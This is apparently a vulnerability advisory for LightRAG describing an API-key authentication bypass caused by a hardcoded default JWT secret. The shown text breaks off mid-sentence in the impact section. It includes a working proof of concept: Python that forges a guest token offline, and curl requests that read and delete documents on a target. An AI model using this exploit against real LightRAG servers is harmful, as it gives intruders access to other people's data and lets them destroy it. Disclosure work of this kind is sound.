LightRAG: improper authentication
Summary
When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server , an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.
This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).
Root cause
Three independent issues combine:
1. lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```python
DEFAULT_TOKEN_SECRET="lightr...key!"
```
2. lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
3. lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| lightrag-hku PyPI | < 1.5.4 | 1.5.4 |
Details and references
## Summary When LightRAG is deployed with `LIGHTRAG_API_KEY` set but `AUTH_ACCOUNTS` unset (an officially documented "API-Key authentication" mode), the `X-API-Key` protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server , an attacker can mint a valid guest JWT offline using the hardcoded `DEFAULT_TOKEN_SECRET` committed in the repository and then call any endpoint guarded by `Depends(combined_auth)`, including destructive operations such as `DELETE /documents`, `POST /documents/upload`, `/documents/clear_cache`, and `POST /query`. This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the `AUTH_ACCOUNTS`-configured case. The API-Key-only deployment profile is still fully exploitable on current `main` (commit `157c331`, v1.4.15). ## Root cause Three independent issues combine: 1. `lightrag/api/config.py:54` ships a hardcoded default JWT secret: ```python DEFAULT_TOKEN_SECRET="lightr...key!" ``` 2. `lightrag/api/auth.py:28-38` falls back to `DEFAULT_TOKEN_SECRET` with only a warning log when `AUTH_ACCOUNTS` is not configured. The fix for CVE-2026-30762 only raises when `AUTH_ACCOUNTS` is set, so the API-key-only path is silently vulnerable. 3. `lightrag/api/lightrag_server.py:1140-1186` exposes `GET /auth-status` and `POST /login` without any authentication dependency. In the API-key-only configuration, `auth_handler.accounts` is empty, and both endpoints unconditionally mint and return a signed guest JWT. 4. `lightrag/api/utils_api.py:214-216` inside `combined_dependency` short-circuits authorization on any valid guest token when `auth_configured` is false, **before** reaching the `X-API-Key` check on line 237: ```python if not auth_configured and token_info.get("role") == "guest": return ``` ## Proof of concept (offline-minted token, zero server contact) Tested against a clean install of commit `157c331` running locally with only `LIGHTRAG_API_KEY=super-...ass` configured. ```bash $ python3 - <<'PY' import jwt from datetime import datetime, timedelta, timezone print(jwt.encode( {"sub":"guest","role":"guest", "exp":datetime.now(timezone.utc)+timedelta(hours=24), "metadata":{"auth_mode":"disabled"}}, "lightrag-jwt-default-secret-key!", algorithm="HS256")) PY eyJhbGci... # Control , no creds: correctly rejected $ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents {"detail":"API Key required"} HTTP 403 # Control , wrong API key: correctly rejected $ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents {"detail":"Invalid API Key"} HTTP 403 # Bypass , offline-minted guest JWT: accepted $ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \ http://target:9876/documents {"statuses":{}} HTTP 200 # Destructive confirmation , DELETE /documents with the same token $ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \ http://target:9876/documents {"status":"success","message":"All documents cleared successfully. Deleted 0 files."} HTTP 200 ``` The guest JWT also does not need to be minted offline , `GET /auth-status` hands one out to anyone, even when the server is started with `LIGHTRAG_API_KEY` set. Either path (offline or `/auth-status`) yields the same bypass. ## Impact Any LightRAG instance that is reachable on the network and configured with: - `LIGHTRAG_API_KEY` set (i.e. the operator believes the server is protected), and - `AUTH_ACCOUNTS` unset (i.e. they opted out of the password-based login flow) is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in `docs/LightRAG-API-Server.md`, so it is expected to be common in production. An attacker can: - Read and delete arbitrary documents (`/documents`, `DELETE /documents`) - Upload arbitrary documents and text for ingestion (`/documents/upl